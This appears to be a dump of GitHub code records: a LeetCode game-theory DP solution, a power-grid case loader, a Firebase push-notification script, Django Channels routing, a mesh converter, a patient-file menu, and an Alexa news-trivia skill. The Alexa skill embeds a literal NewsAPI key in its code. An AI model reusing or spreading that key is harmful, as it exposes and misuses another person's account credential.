@FileName: 486. 预测赢家.py\n @Software: PyCharm\n\"\"\"\n\"\"\"\n 给定一个表示分数的非负整数数组。 玩家 1 从数组任意一端拿取一个分数,\n 随后玩家 2 继续从剩余数组任意一端拿取分数,然后玩家 1 拿,…… 。\n 每次一个玩家只能拿取一个分数,分数被拿取之后不再可取。\n 直到没有剩余分数可取时游戏结束。最终获得分数总和最多的玩家获胜。\n \n 给定一个表示分数的数组,预测玩家1是否会成为赢家。你可以假设每个玩家的玩法都会使他的分数最大化。\n \n 示例 1:\n 输入:[1, 5, 2]\n 输出:False\n 解释:一开始,玩家1可以从1和2中进行选择。\n 如果他选择 2(或者 1 ),那么玩家 2 可以从 1(或者 2 )和 5 中进行选择。如果玩家 2 选择了 5 ,那么玩家 1 则只剩下 1(或者 2 )可选。\n 所以,玩家 1 的最终分数为 1 + 2 = 3,而玩家 2 为 5 。\n 因此,玩家 1 永远不会成为赢家,返回 False 。\n \n 示例 2:\n 输入:[1, 5, 233, 7]\n 输出:True\n 解释:玩家 1 一开始选择 1 。然后玩家 2 必须从 5 和 7 中进行选择。无论玩家 2 选择了哪个,玩家 1 都可以选择 233 。\n 最终,玩家 1(234 分)比玩家 2(12 分)获得更多的分数,所以返回 True,表示玩家 1 可以成为赢家。\n \n 提示:\n 1 <= 给定的数组长度<= 20.\n 数组里所有分数都为非负数且不会大于 10000000 。\n 如果最终两个玩家的分数相等,那么玩家 1 仍为赢家。\n\n\"\"\"\nfrom functools import lru_cache\n\n\nclass Solution:\n def PredictTheWinner(self, nums) -> bool:\n n = len(nums)\n if n & 1 == 0: return True\n # prefix = [0]\n # for num in nums:\n # prefix.append(num+prefix[-1])\n\n # @ lru_cache(None)\n # def dp(left,right,role):\n # if left==right:\n # return nums[left] if role==0 else 0\n # if role == 0:\n # return max(nums[left]+dp(left+1,right,1),nums[right]+dp(left,right-1,1))\n # else:\n # return prefix[right+1]-prefix[left]-dp(left,right,0)\n # role0 = dp(0,n-1,0)\n # role1 = prefix[n]-role0\n # return role0>=role1\n\n dp0 = [[0] * n for i in range(n)]\n dp1 = [[0] * n for i in range(n)]\n for i in range(n - 1, -1, -1):\n dp0[i][i] = nums[i]\n for j in range(i + 1, n):\n left = dp1[i + 1][j] + nums[i]\n right = dp1[i][j - 1] + nums[j]\n if left > right:\n dp0[i][j], dp1[i][j] = left, dp0[i + 1][j]\n else:\n dp0[i][j], dp1[i][j] = right, dp0[i][j - 1]\n return dp0[0][n - 1] >= dp1[0][n - 1]\n","repo_name":"QDylan/Learning-","sub_path":"Leetcode/486. 预测赢家.py","file_name":"486. 预测赢家.py","file_ext":"py","file_size_in_byte":2927,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"17137428768","text":"import json\r\nimport numpy as np\r\nimport cvxpy as cp\r\nimport pandas as pd\r\n\r\nclass Case:\r\n '''Defines a Case object containing all relevant data from a MatPower case.\r\n Principal data entries are:\r\n mva -> base MVA for the case\r\n bus -> bus information in the network\r\n gen -> Generator information and location\r\n branch -> Connection information on branch connections\r\n genCost -> Cost coefficients for generators\r\n '''\r\n def __init__(self, dct=None):\r\n '''Takes a dictionary obtained from .txt file'''\r\n if dct is None:\r\n self.mva = 100\r\n self.bus = None\r\n self.gen = None\r\n self.branch = None\r\n self.gencost = None\r\n self.N = 0\r\n\r\n if isinstance(dct, str):\r\n dct = self.getDct(dct)\r\n\r\n if isinstance(dct, dict):\r\n self.mva = dct['baseMVA']\r\n self.bus = dct['bus']\r\n self.gen = dct['gen']\r\n self.branch = dct['branch']\r\n self.gencost = dct['gencost']\r\n self.N = len(self.bus)\r\n if not isinstance(self.gen[0], list):\r\n self.gen = [self.gen]\r\n if not isinstance(self.gencost[0], list):\r\n self.gencost = [self.gencost]\r\n\r\n def getDct(self, filename):\r\n \"Load json dictionary from file\"\r\n with open(filename, 'r') as file:\r\n dct = json.loads(file.read())\r\n file.close()\r\n return dct \r\n\r\n\r\nclass UsefulCase(Case):\r\n '''Case object specifically geared towards solving the OPF problem\r\n Fields corespond to the format used in the tutorials of the ELE8350 class\r\n\r\n adj -> Adjecency matrix of the network contains admittance of lines\r\n smax -> Matrix containing the maximum apparent power in lines\r\n genData -> Maximum and minimum active and reactive generation\r\n loadData -> Load numbers\r\n cost -> Cost coefficients for the generators\r\n\r\n '''\r\n def __init__(self, dct=None):\r\n '''Intatiate the object\r\n Input: dct -> Either loaded json dictionary from .txt file or the filename to load\r\n \r\n If dct = None, intatiates empty instance'''\r\n super().__init__(dct)\r\n if dct is not None:\r\n self.adj = self.getAdj()\r\n self.smax = self.getsmax()\r\n self.genData = self.getGenData()\r\n self.loadData = self.getLoadData()\r\n self.cost = self.getCost()\r\n self.vlim = self.getVlim()\r\n\r\n\r\n def getAdj(self):\r\n '''Generates adjacency matrix for the case\r\n \r\n Element (i,j) is admittance of line between buses i -> j\r\n Zero when no line exists between two buses\r\n '''\r\n # adjecency matrix\r\n ans = np.zeros((self.N, self.N), dtype=complex)\r\n for line in self.branch:\r\n i, j = line[0] - 1, line[1] - 1\r\n r, x = line[2], line[3]\r\n gam = 1/(r + 1.0j*x)\r\n if i j\r\n Zero when no line exists between two buses'''\r\n ans = np.zeros((self.N, self.N))\r\n for line in self.branch:\r\n i, j = line[0] - 1, line[1] - 1\r\n val = line[5]/self.mva\r\n if i< self.N and j< self.N:\r\n ans[i, j] = val\r\n ans[j, i] = val\r\n return ans\r\n \r\n def getCost(self):\r\n '''Generate generation cost matrix\r\n Ordered as c_2, c_1, c_0'''\r\n ans = np.zeros((self.N, 3))\r\n for i in range(len(self.gen)):\r\n bus = self.gen[i][0] - 1\r\n if bus < self.N:\r\n ans[bus, 0] = self.gencost[i][4]\r\n ans[bus, 1] = self.gencost[i][5]\r\n ans[bus, 2] = self.gencost[i][6]\r\n return ans\r\n \r\n def getGenData(self):\r\n '''Generate bounds on generation\r\n All values will be zero if no generator is present'''\r\n ans = np.zeros((self.N, 4))\r\n if not isinstance(self.gen[0], list):\r\n self.gen = [self.gen]\r\n for line in self.gen:\r\n bus = line[0] - 1\r\n ans[bus, 2] = line[3]/self.mva\r\n ans[bus, 3] = line[4]/self.mva\r\n ans[bus, 0] = line[8]/self.mva\r\n ans[bus, 1] = line[9]/self.mva\r\n return ans\r\n \r\n def getLoadData(self):\r\n '''Load information\r\n Ordered as active power demand, reactive power demand'''\r\n ans = np.zeros((self.N, 2))\r\n for line in self.bus:\r\n bus = line[0] - 1\r\n ans[bus, 0] = line[2]/self.mva\r\n ans[bus, 1] = line[3]/self.mva\r\n return ans\r\n \r\n def getVlim(self):\r\n '''Generate voltage limits\r\n '''\r\n ans = np.zeros((self.N, 2))\r\n for line in self.bus:\r\n bus = line[0]-1\r\n ans[bus, 0] = line[11]\r\n ans[bus, 1] = line[12]\r\n return ans\r\n\r\n def getLines(self):\r\n ans = []\r\n for i in range(len(self.branch)):\r\n entry = (self.branch[i][0]-1, self.branch[i][1]-1)\r\n ans.append(entry)\r\n return ans\r\n \r\n def displayData(self):\r\n Load_labels=[\"P_d [MVa]\",\"Q_d [MVar]\"]\r\n Load_df=pd.DataFrame(self.loadData, columns=Load_labels)\r\n display(Load_df)\r\n\r\n Gen_labels = ['P_max [Mva]', 'P_min [Mva]', 'Q_max [MVar]', 'Q_min [MVar]']\r\n Gen_df=pd.DataFrame(self.genData, columns=Gen_labels)\r\n display(Gen_df)\r\n\r\n Lines_labels = [\"from bus\", \"to bus\", \"R (p.u.)\", \"X (p.u.)\",\"S_max (MVA)\"]\r\n costs_df = pd.DataFrame(np.asarray(self.branch)[:,(0,1,2,3,5)], columns=Lines_labels)\r\n display(costs_df)\r\n\r\n Costs_labels=[\"c2 [$/MW^2]\", \"c1 [$/MW]\", \"c0 [$]\"]\r\n costs_df = pd.DataFrame(self.cost, columns=Costs_labels)\r\n display(costs_df)\r\n \r\n\r\ndef loadCase(filename):\r\n with open(filename) as file:\r\n dct = json.loads(file.read())\r\n file.close()\r\n return UsefulCase(dct)","repo_name":"ALLabMTL/OPF_Tools","sub_path":"case.py","file_name":"case.py","file_ext":"py","file_size_in_byte":6261,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1016600305","text":"# import firebase_admin\n# from firebase_admin import credentials\n#\n# cred = credentials.Certificate('service-account.json')\n# default_app = firebase_admin.initialize_app(cred)\n\n\nimport argparse\nimport json\nimport requests\nimport sys\n\nfrom oauth2client.service_account import ServiceAccountCredentials\n\nPROJECT_ID = 'sycs-climate'\nBASE_URL = 'https://fcm.googleapis.com'\nFCM_ENDPOINT = 'v1/projects/' + PROJECT_ID + '/messages:send'\nFCM_URL = BASE_URL + '/' + FCM_ENDPOINT\nSCOPES = ['https://www.googleapis.com/auth/firebase.messaging']\n\nwith open('server-key.txt', 'r') as f:\n SERVER_KEY = f.read().strip()\n\ndef get_access_token():\n credentials = ServiceAccountCredentials.from_json_keyfile_name('service-account.json', SCOPES)\n access_token_info = credentials.get_access_token()\n return access_token_info.access_token\n\n\ndef send_message(target, notification, urgency):\n message = {\n \"message\": {\n \"notification\": {\n \"title\": notification['title'],\n \"body\": notification['body']\n },\n \"webpush\": {\n \"headers\": {\n \"Urgency\": ['very-low', 'low', 'normal', 'high'][urgency]\n },\n \"notification\": {\n \"requireInteraction\": \"true\",\n \"badge\": \"/assets/sycs-logo-full.jpeg\",\n \"icon\": \"/assets/sycs-logo-full.jpeg\",\n \"click_action\": notification['url']\n }\n }\n }\n }\n\n print('FCM request body for message using common notification object:')\n print(json.dumps(message, indent=2))\n print('')\n print('')\n\n if target['type'] == 'token':\n message['message']['token'] = target['token']\n elif target['type'] == 'topic':\n message['message']['topic'] = target['topic']\n\n headers = {\n 'Authorization': 'Bearer ' + get_access_token(),\n 'Content-Type': 'application/json; UTF-8',\n }\n\n resp = requests.post(FCM_URL, data=json.dumps(message), headers=headers)\n\n if resp.status_code == 200:\n print('Message sent to Firebase for delivery, response:')\n print(resp.text)\n else:\n print('Unable to send message to Firebase')\n print(resp.text)\n\n\n\ndef set_topic(token, topic):\n headers = {\n 'Authorization': 'key=' + SERVER_KEY,\n 'Content-Type': 'application/json; UTF-8',\n }\n resp = requests.post('https://iid.googleapis.com/iid/v1/' + token + '/rel/topics/' + topic, headers=headers)\n if resp.status_code == 200:\n print('200 OK')\n print(resp.text)\n else:\n print('Error')\n print(resp.text)\n\ndef main():\n with open(sys.argv[1], 'r') as f:\n req = json.loads(f.read())\n if req['function'] == 'message':\n send_message(req['target'], req['notification'], req['urgency'])\n elif req['function'] == 'topic':\n set_topic(req['token'], req['topic'])\n\nmain()\n","repo_name":"sycs-climate/sycs-climate.github.io","sub_path":"firebasebackend/messaging.py","file_name":"messaging.py","file_ext":"py","file_size_in_byte":2824,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"6390779235","text":"import importlib\n\nfrom django.conf import settings\nfrom django.core.exceptions import ImproperlyConfigured\nfrom django.urls.exceptions import Resolver404\nfrom django.urls.resolvers import URLResolver\n\n\"\"\"\nAll Routing instances inside this file are also valid ASGI applications - with\nnew Channels routing, whatever you end up with as the top level object is just\nserved up as the \"ASGI application\".\n\"\"\"\n\n\ndef get_default_application():\n \"\"\"\n Gets the default application, set in the ASGI_APPLICATION setting.\n \"\"\"\n try:\n path, name = settings.ASGI_APPLICATION.rsplit(\".\", 1)\n except (ValueError, AttributeError):\n raise ImproperlyConfigured(\"Cannot find ASGI_APPLICATION setting.\")\n try:\n module = importlib.import_module(path)\n except ImportError:\n raise ImproperlyConfigured(\"Cannot import ASGI_APPLICATION module %r\" % path)\n try:\n value = getattr(module, name)\n except AttributeError:\n raise ImproperlyConfigured(\n \"Cannot find %r in ASGI_APPLICATION module %s\" % (name, path)\n )\n return value\n\n\nDEPRECATION_MSG = \"\"\"\nUsing ProtocolTypeRouter without an explicit \"http\" key is deprecated.\nGiven that you have not passed the \"http\" you likely should use Django's\nget_asgi_application():\n\n from django.core.asgi import get_asgi_application\n\n application = ProtocolTypeRouter(\n \"http\": get_asgi_application()\n # Other protocols here.\n )\n\"\"\"\n\n\nclass ProtocolTypeRouter:\n \"\"\"\n Takes a mapping of protocol type names to other Application instances,\n and dispatches to the right one based on protocol name (or raises an error)\n \"\"\"\n\n def __init__(self, application_mapping):\n self.application_mapping = application_mapping\n\n async def __call__(self, scope, receive, send):\n if scope[\"type\"] in self.application_mapping:\n application = self.application_mapping[scope[\"type\"]]\n return await application(scope, receive, send)\n else:\n raise ValueError(\n \"No application configured for scope type %r\" % scope[\"type\"]\n )\n\n\nclass URLRouter:\n \"\"\"\n Routes to different applications/consumers based on the URL path.\n\n Works with anything that has a ``path`` key, but intended for WebSocket\n and HTTP. Uses Django's django.urls objects for resolution -\n path() or re_path().\n \"\"\"\n\n #: This router wants to do routing based on scope[path] or\n #: scope[path_remaining]. ``path()`` entries in URLRouter should not be\n #: treated as endpoints (ended with ``$``), but similar to ``include()``.\n _path_routing = True\n\n def __init__(self, routes):\n self.routes = routes\n\n for route in self.routes:\n # The inner ASGI app wants to do additional routing, route\n # must not be an endpoint\n if getattr(route.callback, \"_path_routing\", False) is True:\n route.pattern._is_endpoint = False\n\n if not route.callback and isinstance(route, URLResolver):\n raise ImproperlyConfigured(\n \"%s: include() is not supported in URLRouter. Use nested\"\n \" URLRouter instances instead.\" % (route,)\n )\n\n async def __call__(self, scope, receive, send):\n # Get the path\n path = scope.get(\"path_remaining\", scope.get(\"path\", None))\n if path is None:\n raise ValueError(\"No 'path' key in connection scope, cannot route URLs\")\n # Remove leading / to match Django's handling\n path = path.lstrip(\"/\")\n # Run through the routes we have until one matches\n for route in self.routes:\n try:\n match = route.pattern.match(path)\n if match:\n new_path, args, kwargs = match\n # Add defaults to kwargs from the URL pattern.\n kwargs.update(route.default_args)\n # Add args or kwargs into the scope\n outer = scope.get(\"url_route\", {})\n application = route.callback\n return await application(\n dict(\n scope,\n path_remaining=new_path,\n url_route={\n \"args\": outer.get(\"args\", ()) + args,\n \"kwargs\": {**outer.get(\"kwargs\", {}), **kwargs},\n },\n ),\n receive,\n send,\n )\n except Resolver404:\n pass\n else:\n if \"path_remaining\" in scope:\n raise Resolver404(\"No route found for path %r.\" % path)\n # We are the outermost URLRouter\n raise ValueError(\"No route found for path %r.\" % path)\n\n\nclass ChannelNameRouter:\n \"\"\"\n Maps to different applications based on a \"channel\" key in the scope\n (intended for the Channels worker mode)\n \"\"\"\n\n def __init__(self, application_mapping):\n self.application_mapping = application_mapping\n\n async def __call__(self, scope, receive, send):\n if \"channel\" not in scope:\n raise ValueError(\n \"ChannelNameRouter got a scope without a 'channel' key. \"\n + \"Did you make sure it's only being used for 'channel' type messages?\"\n )\n if scope[\"channel\"] in self.application_mapping:\n application = self.application_mapping[scope[\"channel\"]]\n return await application(scope, receive, send)\n else:\n raise ValueError(\n \"No application configured for channel name %r\" % scope[\"channel\"]\n )\n","repo_name":"django/channels","sub_path":"channels/routing.py","file_name":"routing.py","file_ext":"py","file_size_in_byte":5772,"program_lang":"python","lang":"en","doc_type":"code","stars":5773,"dataset":"github-code","pt":"37"} +{"seq_id":"25623703575","text":"import meshio # type: ignore[import]\nfrom meshio._mesh import CellBlock # type: ignore[import]\nimport numpy as np\nimport logging\n\n\ndef convert_abaqus_to_gmsh(input_mesh: str, output_mesh: str, logger: logging.Logger = None) -> int:\n \"\"\"\n Convert an abaqus mesh to gmsh 2 format, preserving nodeset information.\n\n If the code encounters any issues with region/element indices,\n the conversion will attempt to continue, with errors\n indicated by -1 values in the output file.\n\n Args:\n input_mesh (str): path of the input abaqus file\n output_mesh (str): path of the output gmsh file\n logger (logging.Logger): an instance of logging.Logger\n\n Returns:\n int: Number of potential warnings encountered during conversion\n \"\"\"\n # Initialize the logger if it is empty\n if not logger:\n logging.basicConfig(level=logging.WARNING)\n logger = logging.getLogger(__name__)\n\n # Keep track of the number of warnings\n n_warnings = 0\n\n # Load the mesh\n logger.info('Reading abaqus mesh...')\n mesh = meshio.read(input_mesh, file_format=\"abaqus\")\n\n # Convert the element regions to tags\n logger.info('Converting region tags...')\n region_list = list(mesh.cell_sets.keys())\n n_regions = len(region_list)\n cell_ids = []\n for block_id, block in enumerate(mesh.cells):\n cell_ids.append(np.zeros(len(block[1]), dtype=int) - 1)\n for region_id, region in enumerate(region_list):\n mesh.field_data[region] = [region_id + 1, 3]\n cell_ids[block_id][mesh.cell_sets[region][block_id]] = region_id + 1\n\n # Check for bad element region conversions\n if (-1 in cell_ids[-1]):\n logger.warning('Some element regions in block %i did not convert correctly to tags!' % (block_id))\n logger.warning('Note: These will be indicated by a -1 in the output file.')\n n_warnings += 1\n\n # Add to the meshio datastructure\n # Note: the copy here is required, so that later appends\n # do not break these dicts\n mesh.cell_data['gmsh:physical'] = cell_ids.copy()\n mesh.cell_data['gmsh:geometrical'] = cell_ids.copy()\n\n # Build the face elements\n logger.info('Converting nodesets to face elements, tags...')\n new_tris, tri_nodeset, tri_region = [], [], []\n new_quads, quad_nodeset, quad_region = [], [], []\n\n for nodeset_id, nodeset_name in enumerate(mesh.point_sets):\n logger.info(' %s' % (nodeset_name))\n mesh.field_data[nodeset_name] = [nodeset_id + n_regions + 1, 2]\n nodeset = mesh.point_sets[nodeset_name]\n\n # Search by block, then element\n for block_id, block in enumerate(mesh.cells):\n for element_id, element in enumerate(block[1]):\n # Find any matching nodes\n matching_nodes = [x for x in element if x in nodeset]\n\n # Add a new face element if there are enough nodes\n n_matching = len(matching_nodes)\n if (n_matching >= 3):\n # Find the region\n region_id = -1\n for region in region_list:\n if (element_id in mesh.cell_sets[region][block_id]):\n region_id = mesh.field_data[region][block_id]\n\n # Test to see if the element is a quad or triangle\n tag_id = mesh.field_data[nodeset_name][0]\n if (n_matching == 3):\n new_tris.append(matching_nodes)\n tri_nodeset.append(tag_id)\n tri_region.append(region_id)\n\n elif (n_matching == 4):\n new_quads.append(matching_nodes)\n quad_nodeset.append(tag_id)\n quad_region.append(region_id)\n\n else:\n logger.warning(' Discarding an element with an unexpected number of nodes')\n logger.warning(' n_nodes=%i, element=%i, set=%s' % (n_matching, element_id, nodeset_name))\n n_warnings += 1\n\n # Add new tris\n if new_tris:\n logger.info(' Adding %i new triangles...' % (len(new_tris)))\n if (-1 in tri_region):\n logger.warning('Triangles with empty region information found!')\n logger.warning('Note: These will be indicated by a -1 in the output file.')\n n_warnings += 1\n mesh.cells.append(CellBlock('triangle', np.array(new_tris)))\n mesh.cell_data['gmsh:geometrical'].append(np.array(tri_region))\n mesh.cell_data['gmsh:physical'].append(np.array(tri_nodeset))\n\n # Add new quads\n if new_quads:\n logger.info(' Adding %i new quads...' % (len(new_quads)))\n if (-1 in quad_region):\n logger.warning('Quads with empty region information found!')\n logger.warning('Note: These will be indicated by a -1 in the output file.')\n n_warnings += 1\n mesh.cells.append(CellBlock('quad', np.array(new_quads)))\n mesh.cell_data['gmsh:geometrical'].append(np.array(quad_region))\n mesh.cell_data['gmsh:physical'].append(np.array(quad_nodeset))\n\n # Write the final mesh\n logger.info('Writing gmsh mesh...')\n meshio.write(output_mesh, mesh, file_format=\"gmsh22\", binary=False)\n logger.info('Done!')\n\n return (n_warnings > 0)\n\n\ndef convert_abaqus_to_vtu(input_mesh: str, output_mesh: str, logger: logging.Logger = None) -> int:\n \"\"\"\n Convert an abaqus mesh to vtu format, preserving nodeset information.\n \n If the code encounters any issues with region/element indices, the conversion will \n attempt to continue, with errors indicated by -1 values in the output file.\n \n Args:\n input_mesh (str): path of the input abaqus file\n output_mesh (str): path of the output vtu file\n logger (logging.Logger): a logger instance\n\n Returns:\n int: Number of potential warnings encountered during conversion\n \"\"\"\n # Initialize the logger if it is empty\n if not logger:\n logging.basicConfig(level=logging.WARNING)\n logger = logging.getLogger(__name__)\n\n # Keep track of the number of warnings\n n_warnings = 0\n\n # Load the mesh\n logger.info('Reading abaqus mesh...')\n mesh = meshio.read(input_mesh, file_format=\"abaqus\")\n\n # Converting nodesets to binary masks\n for k, nodeset in mesh.point_sets.items():\n mesh.point_data[k] = np.zeros(len(mesh.points), dtype=int)\n mesh.point_data[k][nodeset] = 1\n\n # Overwrite point sets to suppress conversion warnings\n mesh.point_sets = {}\n\n # Write the final mesh\n logger.info('Writing vtu mesh...')\n meshio.write(output_mesh, mesh, file_format=\"vtu\")\n logger.info('Done!')\n\n return (n_warnings > 0)\n","repo_name":"GEOS-DEV/GEOS","sub_path":"src/coreComponents/python/modules/geosx_mesh_tools_package/geosx_mesh_tools/abaqus_converter.py","file_name":"abaqus_converter.py","file_ext":"py","file_size_in_byte":6824,"program_lang":"python","lang":"en","doc_type":"code","stars":172,"dataset":"github-code","pt":"37"} +{"seq_id":"74776925548","text":"#created by Sarbjeet kaur brar\nimport classes\nimport os\n\n\ndef main():\n print()\n option = numcheck()\n\n while option != 0:\n print()\n patient_list = []\n # Display patient \n if option == 1:\n readPatientFile(patient_list)\n \n print()\n option = numcheck()\n # search for patient with \n elif option == 2:\n ID = int(input(\"Enter the Patient ID:\"))\n searchPatientById(ID)\n print()\n option = numcheck()\n # add patient\n elif option == 3:\n enterPatientInfo()\n print()\n option = numcheck()\n # edit patient info\n elif option == 4:\n id=editPatientList()\n enterNewPatientInfo(id)\n readPatientFile(patient_list)\n print()\n \n option=numcheck()\n else:\n print(\" Invalid Option , Enter Number 0 to 4\")\n option = numcheck()\n \n\n\n# display a list or records\ndef displayPatientList(p_list):\n for patient in p_list:\n print(patient)\n\n\n# add patient to patient list\n\ndef enterPatientInfo():\n p_list=[]\n patient = classes.Patient()\n patient.set_ID(input(\"Enter Patient ID :\"))\n patient.set_Name(input(\"Enter Patient name: \").title())\n patient.set_Diagnosis(input(\"Enter Patient Diagnosos: \").title())\n patient.set_Gender(input(\"Enter Patient gender: \").title())\n patient.set_Age(input(\"Enter Patient age: \"))\n p_list.append(patient)\n addPatientToList(p_list)\n return (p_list)\n\n# add patient \ndef addPatientToList(p_list):\n writePatientListtoFile(p_list)\n\n#read file\ndef readPatientFile(p_list):\n p_file = open(\"patients.txt\", \"r\")\n for p_line in p_file:\n p_items = p_line.rstrip().split(\"_\")\n patient = classes.Patient(\n p_items[0], p_items[1], p_items[2], p_items[3], p_items[4])\n p_list.append(patient)\n displayPatientList(p_list)\n\n p_file.close()\n\n\n# Patient Menu\ndef patientmenu():\n option = int(input(\"Patient Menu\\n0{:>4s} Return to Main Menu\\n1{:>4s} Display patient list\\n2{:>4s} Search for Patient by ID\\n3{:>4s} Add Patient\\n4{:>4s} Edit Patient info\\nEnter option :\".format(\n \"-\", \"-\", \"-\", \"-\", \"-\")))\n return option\n\n# check for user valid input for option if user enter invalid option prompt to enter valid option give error massage also\ndef numcheck():\n try:\n option = patientmenu()\n if type(option) == int:\n return option\n\n except ValueError:\n print(\" Wrong option Please Enter valid Number 0 to 4:\")\n option = numcheck()\n return option\n\n\n# search List of the Patient objects for the specific Id\n\n\ndef searchPatientById(ID):\n p_list=[]\n p_file = open(\"patients.txt\", \"r\")\n for p_line in p_file:\n p_items = p_line.rstrip().split(\"_\")\n if str(ID) in p_items[0]:\n patient = classes.Patient(\n p_items[0], p_items[1], p_items[2], p_items[3], p_items[4])\n p_list.append(patient)\n displayPatientList(p_list)\n return (p_list)\n\n\n p_file.close()\n if p_list == []:\n print(\"Patient with ID {} not in patient file\".format(ID))\n return p_list\n\n\n# write patient record to patient.txt file\ndef writePatientListtoFile(p_list):\n p_file = open(\"patients.txt\", \"a\")\n for p_items in p_list:\n\n p_file.write(p_items.formatPatientInfo())\n \n p_file.close()\n\n# ask user to enter new info of patient to edit in file \ndef enterNewPatientInfo(ID):\n new_list = []\n patient = classes.Patient()\n patient.set_ID(ID)\n\n patient.set_Name(input(\"Enter new Patient name:\").title())\n patient.set_Diagnosis(input(\"Enter new Patient Diagnosos:\").title())\n patient.set_Gender(input(\"Enter new gender:\").title())\n patient.set_Age(input(\"Enter new age:\"))\n new_list.append(patient)\n temp_file = open(\"temppatients.txt\", \"a\")\n for p_items in new_list:\n temp_file.write(p_items.formatPatientInfo())\n\n temp_file.close()\n\n os.remove(\"patients.txt\")\n os.rename(\"temppatients.txt\", \"patients.txt\")\n\n\n# for editing logic\ndef editPatientList():\n p_list=[]\n while p_list ==[]:\n ID = int(input(\"Enter the Patient ID: \"))\n p_list=searchPatientById(ID)\n else:\n p_file = open(\"patients.txt\", \"r\")\n temp_file = open(\"temppatients.txt\", \"w\")\n for p_line in p_file:\n p_items = p_line.rstrip().split(\"_\")\n patient = classes.Patient(p_items[0],p_items[1],p_items[2],p_items[3],p_items[4])\n if (patient.get_ID() ==str(ID)):\n pass\n \n else:\n temp_file.write(patient.formatPatientInfo())\n p_file.close()\n temp_file.close()\n return(ID)\n \n\n\nif __name__ == '__main__':\n main()\n","repo_name":"sarbjee/class_Project","sub_path":"patientMenu.py","file_name":"patientMenu.py","file_ext":"py","file_size_in_byte":4882,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"21276173834","text":"#its always so nice seeing a blank screen before i turn it into a hellscape of barley functional programing :)#\n\ndef NumBals(): #NumBals as got to be one of the names of all time#\n a = int()\n b = int()\n c = int()\n d = int()\n\n temp = \"n\"\n while temp == \"n\":\n a = int(input(\"Enter an interger: \"))\n b = int(input(\"Enter an interger: \"))\n c = int(input(\"Enter an interger: \"))\n d = int(input(\"Enter an interger: \"))\n print(temp)\n print(\"Stringy 1\")\n if a != b and b > d:\n print(str(a) +\" Is less than \" + str(b))\n print(\"Stringy 2\")\n elif a > b or c >= b:\n print(str(a) + \" Is greater than \" + str(b))\n print(\"Stringy 3\")\n elif a == b and c < a:\n print(str(a) + \" Is equal than \" + str(b))\n else:\n print(\"balls\")\n\n temp = input(\"Do you want to exit? y/n: \")\n\n#I am already going insane#\n#if a < b:#\n# print(\"Less than \" + str(b)) <--- Why is this here????#\n\n#i love how I don't even need to insert memes to make this code not make sense#\n#the examples we are given don't make sense to begin with :)#\n\n#I want to make a version of this that actually may do something usefull but on the other hand that#\n#Is alot of coding that I kinda dont wanna do and it might mess up the example.#\n\nNumBals()\nprint(\"Leaving already? 3:\")\n\n#why have balls become my singnature coding phrase#\n#what happened to me? :(#\n","repo_name":"IchoTM/ITCS1140","sub_path":"hellscape.py","file_name":"hellscape.py","file_ext":"py","file_size_in_byte":1466,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"37777712525","text":"from src import app\nfrom flask_ask import Ask, statement, question, session\nimport json\nimport requests\nimport time\nimport unidecode\nimport random\nimport datetime\nfrom collections import namedtuple\n\nnow = datetime.datetime.now()\n\nask = Ask(app, \"/yoda_quotes\")\ndef getEntertainment():\n\trand= random.randint(1, 9);\n\turl = \"https://newsapi.org/v2/top-headlines?country=in&category=entertainment&pagesize=1&page=\"+str(rand)+\"&apiKey=5111f0da1fe0402ba1f08867dc513e8b\"\n\theaders = {\n\t\t\"Content-Type\": \"application/json\",\n\t\t\"X-api-key\": \"5111f0da1fe0402ba1f08867dc513e8b\"\n\t}\n\tresponse= requests.get(url)\n\trespObj = response.json()\n\tfor element in respObj['articles']:\n\t\tx= \"did you know \"+element['description']\n\treturn x;\n\ndef getSports():\n\trand= random.randint(1, 9);\n\turl = \"https://newsapi.org/v2/top-headlines?country=in&category=sports&pagesize=1&page=\"+str(rand)+\"&apiKey=5111f0da1fe0402ba1f08867dc513e8b\"\n\theaders = {\n\t\t\"Content-Type\": \"application/json\",\n\t\t\"X-api-key\": \"5111f0da1fe0402ba1f08867dc513e8b\"\n\t}\n\tresponse= requests.get(url)\n\trespObj = response.json()\n\tfor element in respObj['articles']:\n\t\tx= \"did you know \"+element['description']\n\treturn x;\n\ndef getHistory():\n\turl = \"http://numbersapi.com/\"+str(now.month)+\"/\"+str(now.day)+\"/date?json\"\n\tresponse= requests.get(url)\n\trespObj = response.json()\n\treturn \"did you know \"+respObj['text']\n\ndef getTrivia():\n\turl = \"http://numbersapi.com/random/trivia?json\"\n\tresponse= requests.get(url)\n\trespObj = response.json()\n\treturn \"did you know \"+respObj['text']\n\ndef getYodaQuote():\n\trand= random.randint(1, 4);\n\tif rand== 1 :\n\t\treturn getEntertainment()\n\n\telif rand== 2 :\n\t\treturn getSports()\n\n\telif rand== 3 :\n\t\treturn getHistory()\n\n\telse:\n\t\treturn getTrivia()\n\n@app.route('/')\ndef homepage():\n return \"Alexa skill is running.\"\n\n@ask.launch\ndef startSkill():\n quote = getYodaQuote()\n response = quote + '.. hmmm Do you want more?'\n return question(response)\n\n@ask.intent(\"YesIntent\")\ndef shareQuote():\n quote = getYodaQuote()\n response = quote + '.. hmmm Do you want more?'\n return question(response)\n\n@ask.intent(\"NoIntent\")\ndef noIntent():\n byeText = 'Fine... OK... Bye'\n return statement(byeText)\n\n\n@ask.intent(\"Help\")\ndef noIntent():\n helpText = 'Just say... Alexa, launch nice icebreaker'\n return question(helpText)\n","repo_name":"mayankpadhi/AlexaIcebreaker","sub_path":"microservices/bot/app/src/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"37044445590","text":"import networkx as nx\nimport matplotlib.pyplot as plt\nfrom math import sqrt\n\ni = 1\n\ndef save(G, path):\n \"Draw a graph with specific x, y coordinates\"\n global i\n pos = {}\n x=nx.get_node_attributes(G,'x')\n y=nx.get_node_attributes(G,'y')\n\n for n in G.node:\n pos[n] = [x[n], y[n]]\n\n plt.figure(i)\n i = i + 1\n nx.draw(G, pos)\n plt.savefig(path)\n\n\ndef draw(G):\n \"Draw 